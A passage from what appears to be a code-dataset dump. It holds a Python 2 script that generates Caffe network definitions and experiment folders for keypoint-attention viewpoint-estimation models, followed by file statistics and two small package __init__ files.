n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Concat fc7 with fc-keypoint-map and fc-keypoint-class
'''
def create_model_a(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/227.0))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name, fc7_out_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
'''
Pass fc7 through FC layer; concat result with fc-keypoint-map and fc-keypoint-class
'''
def create_model_b(lmdb_paths, batch_size, crop_size=gv.g_images_resize_dim, imagenet_mean_file=gv.g_image_mean_binaryproto_file):
train_data_lmdb_path = lmdb_paths[0]
keypoint_map_lmdb_path = lmdb_paths[1]
keypoint_class_lmdb_path = lmdb_paths[2]
train_label_lmdb_path = lmdb_paths[3]
data_transform_param = dict(
crop_size=crop_size,
mean_file=imagenet_mean_file,
mirror=False
)
n = caffe.NetSpec()
# Data layers
n['data'] = L.Data(name='data', batch_size=batch_size, backend=P.Data.LMDB, source=train_data_lmdb_path, transform_param=data_transform_param)
n['keypoint_map'] = L.Data(name='keypoint_map', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_map_lmdb_path)
n['keypoint_class'] = L.Data(name='keypoint_class', batch_size=batch_size, backend=P.Data.LMDB, source=keypoint_class_lmdb_path)
n['label'] = L.Data(name='label', batch_size=batch_size, backend=P.Data.LMDB, source=train_label_lmdb_path)
n['label_class'], n['label_azimuth'], n['label_elevation'], n['label_tilt'] = L.Slice(name='labe-slice', bottom='label', ntop=4, slice_param=dict(
slice_dim=1, slice_point=[1,2,3]
))
n['silence-label_class'] = L.Silence(name='silence-label_class', bottom='label_class', ntop=0)
# Image (Render for CNN) features
conv1_param = dict(num_output=96, kernel_size=11, stride=4)
pool1_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv2_param = dict(num_output=256, pad=2, kernel_size=5, group=2)
pool2_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv3_param = dict(num_output=384, pad=1, kernel_size=3)
conv4_param = dict(num_output=384, pad=1, kernel_size=3, group=2)
conv5_param = dict(num_output=256, pad=1, kernel_size=3, group=2)
pool5_param = dict(pool=P.Pooling.MAX, kernel_size=3, stride=2)
conv1_out_name = add_wrapped_conv_layer(n, 'conv1', 'data', conv1_param, pooling_param=pool1_param, lrn_param=DEFAULT_LRN_PARAM)
conv2_out_name = add_wrapped_conv_layer(n, 'conv2', conv1_out_name, conv2_param, pooling_param=pool2_param, lrn_param=DEFAULT_LRN_PARAM)
conv3_out_name = add_wrapped_conv_layer(n, 'conv3', conv2_out_name, conv3_param)
conv4_out_name = add_wrapped_conv_layer(n, 'conv4', conv3_out_name, conv4_param, param=DEFAULT_DECAY_PARAM)
conv5_out_name = add_wrapped_conv_layer(n, 'conv5', conv4_out_name, conv5_param, param=DEFAULT_DECAY_PARAM, pooling_param=pool5_param)
fc6_out_name = add_wrapped_fc_layer(n, 'fc6', conv5_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
fc7_out_name = add_wrapped_fc_layer(n, 'fc7', fc6_out_name, 4096, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Keypoint map features
scale_keypoint_map_param = dict(filler=dict(value=1/227.0))
pool_keypoint_map_param = dict(pool=P.Pooling.MAX, kernel_size=5, stride=5, pad=3)
reshape_keypoint_map_param = dict(shape=dict(dim=[0, 2116, 1, 1]))
n['scale-keypoint-map'] = L.Scale(name='scale-keypoint-map', bottom='keypoint_map', param=NO_LEARN_PARAM, scale_param=scale_keypoint_map_param)
n['pool-keypoint-map'] = L.Pooling(name='pool-keypoint-map', bottom='scale-keypoint-map', pooling_param=pool_keypoint_map_param)
fc_keypoint_map_name = add_wrapped_fc_layer(n, 'fc-keypoint-map', 'pool-keypoint-map', 2116, use_relu=False)
# Keypoint class features
fc_keypoint_class_name = add_wrapped_fc_layer(n, 'fc-keypoint-class', 'keypoint_class', 34, use_relu=False)
# fc7-keypoint features
fc7_keypoint_out_name = add_wrapped_fc_layer(n, 'fc7-keypoint', fc7_out_name, 2150, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Attention map
# keypoint_concat_param = dict(axis=1)
attn_param = dict(shape=dict(dim=[0, 1, 13, 13]))
n['keypoint-concat'] = L.Concat(name='keypoint-concat', bottom=[fc_keypoint_map_name, fc_keypoint_class_name, fc7_keypoint_out_name])
fc_keypoint_concat_name = add_wrapped_fc_layer(n, 'fc-keypoint-concat', 'keypoint-concat', 169, use_relu=False)
n['fc-keypoint-concat-softmax'] = L.Softmax(name='fc-keypoint-concat-softmax', bottom=fc_keypoint_concat_name)
n['attn'] = L.Reshape(name='attn', bottom='fc-keypoint-concat-softmax', reshape_param=attn_param)
# Get conv4 attention vector. First, slice channels
add_slice_layer(n, 'conv4', ['conv4_slice_' + str(i) for i in range(384)], dict(
axis=1, slice_point=range(1, 384)
))
# Then weigh each channel by the map
for i in range(384):
slice_bottom_name = 'conv4_slice_' + str(i)
top_name = 'conv4_weighted_' + str(i)
n[top_name] = L.Eltwise(name=top_name, bottom=[slice_bottom_name, 'attn'], eltwise_param=dict(operation=P.Eltwise.PROD))
# Combine weighted maps
n['conv4_weighted'] = L.Concat(name='conv4_weighted', bottom=['conv4_weighted_' + str(i) for i in range(384)])
# Sum across width
add_slice_layer(n, 'conv4_weighted', ['conv4_weighted_slice_' + str(i) for i in range(13)], dict(
axis=3, slice_point=range(1, 13)
))
n['conv4_weighted_a'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Sum across height
add_slice_layer(n, 'conv4_weighted_a', ['conv4_weighted_a_slice_' + str(i) for i in range(13)], dict(
axis=2, slice_point=range(1, 13)
))
n['conv4_weighted_b'] = L.Eltwise(name='conv4_weighted_a', bottom=['conv4_weighted_a_slice_' + str(i) for i in range(13)], eltwise_param=dict(operation=P.Eltwise.SUM))
# Finally, flatten to get attention vector
n['conv4-a'] = L.Flatten(name='conv4-a', bottom='conv4_weighted_b')
# Fusion
n['fc7-concat'] = L.Concat(name='fc7-concat', bottom=[fc7_out_name, 'conv4-a'])
fc8_out_name = add_wrapped_fc_layer(n, 'fc8', 'fc7-concat', 4096, param=DEFAULT_DECAY_PARAM, dropout_ratio=DEFAULT_DROPOUT_RATIO)
# Prediction and loss layers
add_prediction_layers(n, 'pred_', fc8_out_name, param=DEFAULT_DECAY_PARAM)
add_loss_acc_layers(n, ['pred_', 'label_'])
return n.to_proto()
def main(model_name, train_eval_with_pascal, initial_weights_path, perturb_sigma):
'''
Create an experiment to train the specified model configuration.
:param model_name: The name of the model/network configuration to use
:param train_eval_with_pascal: Bool indicating whether to train and evaluate on PASCAL 3D+ data. Train on synthetic data if false
:param initial_weights_path: Path to the initial weights to use
:param perturb_sigma: The sigma of the Gaussian by which to perturb the keypoint map, if applicable
:return:
'''
# Render for CNN
if model_name == 'R4CNN':
sub_lmdb_names = ['image_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227))
create_model_fn = create_model_r4cnn
pascal_test_only = False
# Chessboard keypoint map
elif model_name == 'CH-CNN':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = False
# Manhattan keypoint map
elif model_name == 'CH-CNN_manhattan':
sub_lmdb_names = ['image_lmdb', 'manhattan_dt_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_manhattan
pascal_test_only = False
# Euclidean keypoint map
elif model_name == 'CH-CNN_euclidean':
sub_lmdb_names = ['image_lmdb', 'euclidean_dt_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_euclidean
pascal_test_only = False
# Gaussian keypoint map
elif model_name == 'CH-CNN_gaussian':
sub_lmdb_names = ['image_lmdb', 'gaussian_keypoint_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_gaussian
pascal_test_only = False
# Fixed uniform weight map
elif model_name == 'fixed_weight_map_uniform':
sub_lmdb_names = ['image_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227))
create_model_fn = create_model_uniform_weights
pascal_test_only = False
# Fixed Gaussian weight map
elif model_name == 'fixed_weight_map_gaussian':
sub_lmdb_names = ['image_lmdb', 'gaussian_attn_map_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), attn=(1, 1, 13, 13))
create_model_fn = create_model_gaussian_weights
pascal_test_only = False
# Just keypoint map
elif model_name == 'CH-CNN_kpm_only':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227))
create_model_fn = create_model_chcnn_kpm_only
pascal_test_only = False
# Just keypoint class
elif model_name == 'CH-CNN_kpc_only':
sub_lmdb_names = ['image_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_kpc_only
pascal_test_only = False
# Blank keypoint map (test only)
elif model_name == 'CH-CNN_lost_kpm':
sub_lmdb_names = ['image_lmdb', 'zero_keypoint_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = True
# Blank keypoint class (test only)
elif model_name == 'CH-CNN_lost_kpc':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'zero_keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = True
# Blank keypoint map and class (test only)
elif model_name == 'CH-CNN_lost_kpm_kpc':
sub_lmdb_names = ['image_lmdb', 'zero_keypoint_map_lmdb', 'zero_keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = True
# Perturbed keypoint (test only)
elif model_name == 'CH-CNN_perturb_kpm':
sub_lmdb_names = ['image_lmdb', 'perturbed_%d_chessboard_dt_map_lmdb' % perturb_sigma, 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = True
# Random keypoint class (test only)
elif model_name == 'CH-CNN_random_kpc':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'random_keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_chcnn_chessboard
pascal_test_only = True
# fc7 concatenated with fc-keypoint-map and fc-keypoint-class
elif model_name == 'a':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_a
pascal_test_only = False
# fc7 to FC layer, result concatenated with fc-keypoint-map and fc-keypoint-class
elif model_name == 'b':
sub_lmdb_names = ['image_lmdb', 'chessboard_dt_map_lmdb', 'keypoint_class_lmdb', 'viewpoint_label_lmdb']
input_data_shapes = dict(data=(1, 3, 227, 227), keypoint_map=(1, 1, 227, 227), keypoint_class=(1, 34, 1, 1))
create_model_fn = create_model_b
pascal_test_only = False
# Force PASCAL 3D+ usage if the configuration only evaluates on PASCAL 3D+ test set
if pascal_test_only:
train_eval_with_pascal = True
### Define the training and validation/test sets ###
if train_eval_with_pascal:
train_lmdb_root = gv.g_corresp_pascal_train_lmdb_folder
test_lmdb_root = gv.g_corresp_pascal_test_lmdb_folder
else:
train_lmdb_root = gv.g_corresp_syn_train_lmdb_folder
test_lmdb_root = gv.g_corresp_syn_test_lmdb_folder
# Set LMDB paths
train_lmdb_paths = [os.path.join(train_lmdb_root, lmdb_name) for lmdb_name in sub_lmdb_names]
test_lmdb_paths = [os.path.join(test_lmdb_root, lmdb_name) for lmdb_name in sub_lmdb_names]
# Verify the models
if not pascal_test_only:
z_train_model = create_model_fn(train_lmdb_paths, BATCH_SIZE)
verify_netspec(z_train_model, initial_weights_path)
z_test_model = create_model_fn(test_lmdb_paths, BATCH_SIZE)
verify_netspec(z_test_model, initial_weights_path)
# Get experiment folder names
if not os.path.isdir(gv.g_experiments_root_folder):
os.makedirs(gv.g_experiments_root_folder)
exp_folder_names = os.listdir(gv.g_experiments_root_folder)
# Get last experiment folder name
if len(exp_folder_names) != 0:
last_exp_folder_name = sorted(exp_folder_names)[-1]
# Extract experiment number
last_exp_num = int(last_exp_folder_name[:6])
cur_exp_num = last_exp_num + 1
else:
cur_exp_num = 1
# Get current date
date_str = time.strftime('%m-%d-%Y_%H:%M:%S')
# Combine current experiment number with time
cur_exp_folder_name = '%06d_%s' % (cur_exp_num, date_str)
# Create experiment folder and subfolders
cur_exp_folder_path = os.path.join(gv.g_experiments_root_folder, cur_exp_folder_name)
evaluation_path = os.path.join(cur_exp_folder_path, 'evaluation')
model_path = os.path.join(cur_exp_folder_path, 'model')
progress_path = os.path.join(cur_exp_folder_path, 'progress')
snapshots_path = os.path.join(cur_exp_folder_path, 'snapshots')
os.mkdir(cur_exp_folder_path)
os.mkdir(evaluation_path)
os.mkdir(model_path)
os.mkdir(progress_path)
os.mkdir(snapshots_path)
# Create link to initial weights
os.symlink(initial_weights_path, os.path.join(snapshots_path, 'snapshot_iter_0.caffemodel'))
# Create train and test model files
if not pascal_test_only:
with open(os.path.join(model_path, 'train.prototxt'), 'w') as f:
f.write(str(z_train_model))
with open(os.path.join(model_path, 'test.prototxt'), 'w') as f:
f.write(str(z_test_model))
# Create deploy model file
deploy_model_str = netspec_to_deploy_prototxt_str(z_test_model, input_data_shapes)
with open(os.path.join(model_path, 'deploy.prototxt'), 'w') as f:
f.write(deploy_model_str)
### Save solver parameters ###
if train_eval_with_pascal:
solver_dict = merge_dicts(DEFAULT_SOLVER_DICT, dict(
train_net=os.path.join(model_path, 'train.prototxt'),
test_net=os.path.join(model_path, 'test.prototxt'),
max_iter=6000,
display=10,
snapshot=200,
test_interval=200
))
else:
solver_dict = merge_dicts(DEFAULT_SOLVER_DICT, dict(
train_net=os.path.join(model_path, 'train.prototxt'),
test_net=os.path.join(model_path, 'test.prototxt')
))
solver_str = dict_to_solver_text(solver_dict)
with open(os.path.join(model_path, 'solver.prototxt'), 'w') as f:
f.write(solver_str)
### CREATE TRAINING SCRIPT ###
with open(os.path.join(gv.g_corresp_model_root_folder, 'train_model.sh'), 'r') as f:
train_script_contents = f.read()
# Replace variables in script
train_script_contents = train_script_contents.replace('[[INITIAL_WEIGHTS]]', initial_weights_path)
train_script_contents = train_script_contents.replace('[[EXPERIMENT_FOLDER_NAME]]', cur_exp_folder_name)
train_script_contents = train_script_contents.replace('[[EXPERIMENTS_ROOT]]', gv.g_experiments_root_folder)
train_script_contents = train_script_contents.replace('[[TRAIN_ROOT]]', gv.g_corresp_model_root_folder)
# Save script
with open(os.path.join(model_path, 'train.sh'), 'w') as f:
f.write(train_script_contents)
# Make script executable
os.chmod(os.path.join(model_path, 'train.sh'), 0744)
### CREATE RESUME SCRIPT ###
with open(os.path.join(gv.g_corresp_model_root_folder, 'resume_model.sh'), 'r') as f:
resume_script_contents = f.read()
# Replace variables in script
resume_script_contents = resume_script_contents.replace('[[EXPERIMENT_FOLDER_NAME]]', cur_exp_folder_name)
resume_script_contents = resume_script_contents.replace('[[EXPERIMENTS_ROOT]]', gv.g_experiments_root_folder)
resume_script_contents = resume_script_contents.replace('[[TRAIN_ROOT]]', gv.g_corresp_model_root_folder)
# Save script
with open(os.path.join(model_path, 'resume.sh'), 'w') as f:
f.write(resume_script_contents)
# Make script executable
os.chmod(os.path.join(model_path, 'resume.sh'), 0744)
# Add NOT_STARTED file
with open(os.path.join(cur_exp_folder_path, 'NOT_STARTED'), 'w') as f:
f.write('')
# Add net visualization
draw_net_script_path = os.path.join(gv.g_pycaffe_path, 'draw_net.py')
model_prototxt_path = os.path.join(model_path, 'test.prototxt')
visualization_path = os.path.join(cur_exp_folder_path, 'net.png')
subprocess.call(['python', draw_net_script_path, model_prototxt_path, visualization_path, '--rankdir', 'TB'])
# Add evaluation arguments file
with open(os.path.join(evaluation_path, 'evalAcc_args.txt'), 'w') as f:
# model_proto
f.write(os.path.join(model_path, 'deploy.prototxt') + os.linesep)
# model_weights (need to replace ### with iter number)
f.write(os.path.join(snapshots_path, 'snapshot_iter_###.caffemodel') + os.linesep)
# test_root
f.write(test_lmdb_root + os.linesep)
# output_keys (assumed to be three keys before loss and accuracy layers)
layer_names = map(lambda x: x.name, z_test_model.layer)
for output_layer_name in layer_names[-9:-6]:
f.write(output_layer_name + os.linesep)
# lmdb_info
for i, lmdb_name in enumerate(sub_lmdb_names):
# Assume the ith data layer uses the ith LMDB
f.write(layer_names[i] + os.linesep)
f.write(lmdb_name + os.linesep)
f.write(('True' if lmdb_name == 'image_lmdb' else 'False') + os.linesep)
### CREATE README FILE ###
with open(os.path.join(gv.g_corresp_model_root_folder, 'README.md.example'), 'r') as f:
readme_contents = f.read()
# Replace variables in script
readme_contents = readme_contents.replace('[[EXPERIMENT_NUM]]', str(cur_exp_num))
readme_contents = readme_contents.replace('[[MODEL_NAME]]', model_name)
readme_contents = readme_contents.replace('[[INITIAL_WEIGHTS]]', initial_weights_path)
readme_contents = readme_contents.replace('[[TRAIN_ROOT]]', train_lmdb_root)
readme_contents = readme_contents.replace('[[TEST_ROOT]]', test_lmdb_root)
# Populate other notes
num_conseq_empty_lines = 0
other_notes = ''
print('Enter other notes (press enter 3 times in a row to exit):')
# Enter notes with up to two returns between paragraphs
while num_conseq_empty_lines < 2:
line = raw_input()
other_notes += '%s\n' % line
num_conseq_empty_lines = (0 if line else num_conseq_empty_lines + 1)
readme_contents = readme_contents.replace('[[OTHER_NOTES]]', other_notes.rstrip())
# Save readme
with open(os.path.join(cur_exp_folder_path, 'README.md'), 'w') as f:
f.write(readme_contents)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('model_name', type=str, help='The name of the model/network. See main() of create_caffe_nets.py for options.')
parser.add_argument('--pascal', action='store_true', help='Flag to train and evaluate on PASCAL 3D+. Will train on synthetic data by default.')
parser.add_argument('--init_weight_path', type=str, default=gv.g_caffe_param_file, help='Path of weights to intialize the model with. It is set to the original R4CNN weights by default')
parser.add_argument('--perturb_sigma', type=int, default=0, help='How much to perturb the keypoint map by. Only used for keypoint perturbation models')
args = parser.parse_args()
main(args.model_name, args.pascal, args.init_weight_path, args.perturb_sigma)
| 55.241228
| 204
| 0.724596
| 13,712
| 88,165
| 4.345756
| 0.039746
| 0.028092
| 0.026079
| 0.025105
| 0.838175
| 0.808102
| 0.79268
| 0.770545
| 0.758529
| 0.742184
| 0
| 0.030449
| 0.152169
| 88,165
| 1,596
| 205
| 55.241228
| 0.766739
| 0.06523
| 0
| 0.675778
| 0
| 0
| 0.147054
| 0.02901
| 0
| 0
| 0
| 0
| 0.002828
| 0
| null | null | 0
| 0.016965
| null | null | 0.000943
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2a6e81e82ab2119b498dfad3cc58850e62dbd127
| 131
|
py
|
Python
|
spinup/algos/pytorch/sderl/pde-gym/pde_gym/envs/__init__.py
|
XiaohanZhangCMU/spinningup
|
b5715f31ceb41f6711901179a1bc0ba9e5979cbd
|
[
"MIT"
] | 2
|
2020-10-29T12:29:04.000Z
|
2021-05-01T23:23:45.000Z
|
spinup/algos/pytorch/sderl/pde-gym/pde_gym/envs/__init__.py
|
XiaohanZhangCMU/spinningup
|
b5715f31ceb41f6711901179a1bc0ba9e5979cbd
|
[
"MIT"
] | null | null | null |
spinup/algos/pytorch/sderl/pde-gym/pde_gym/envs/__init__.py
|
XiaohanZhangCMU/spinningup
|
b5715f31ceb41f6711901179a1bc0ba9e5979cbd
|
[
"MIT"
] | null | null | null |
from pde_gym.envs.AllenCahn import AllenCahn
from pde_gym.envs.HJB import HJB
from pde_gym.envs.PricingOption import PricingOption
| 32.75
| 52
| 0.862595
| 21
| 131
| 5.238095
| 0.380952
| 0.190909
| 0.272727
| 0.381818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.091603
| 131
| 3
| 53
| 43.666667
| 0.92437
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
aab9f21f9c565a93182ecb777aabf60470dd6cc8
| 88
|
py
|
Python
|
deploy/__init__.py
|
Doubledongli/diy-paddleocr
|
03026354e18c5fd738678b9a6a4e94ab28bfaa0b
|
[
"Apache-2.0"
] | null | null | null |
deploy/__init__.py
|
Doubledongli/diy-paddleocr
|
03026354e18c5fd738678b9a6a4e94ab28bfaa0b
|
[
"Apache-2.0"
] | null | null | null |
deploy/__init__.py
|
Doubledongli/diy-paddleocr
|
03026354e18c5fd738678b9a6a4e94ab28bfaa0b
|
[
"Apache-2.0"
] | null | null | null |
from deploy import paddle_serving_server
from deploy import paddle_serving_server_flask
| 29.333333
| 46
| 0.909091
| 13
| 88
| 5.769231
| 0.538462
| 0.266667
| 0.426667
| 0.586667
| 0.933333
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 88
| 2
| 47
| 44
| 0.9375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
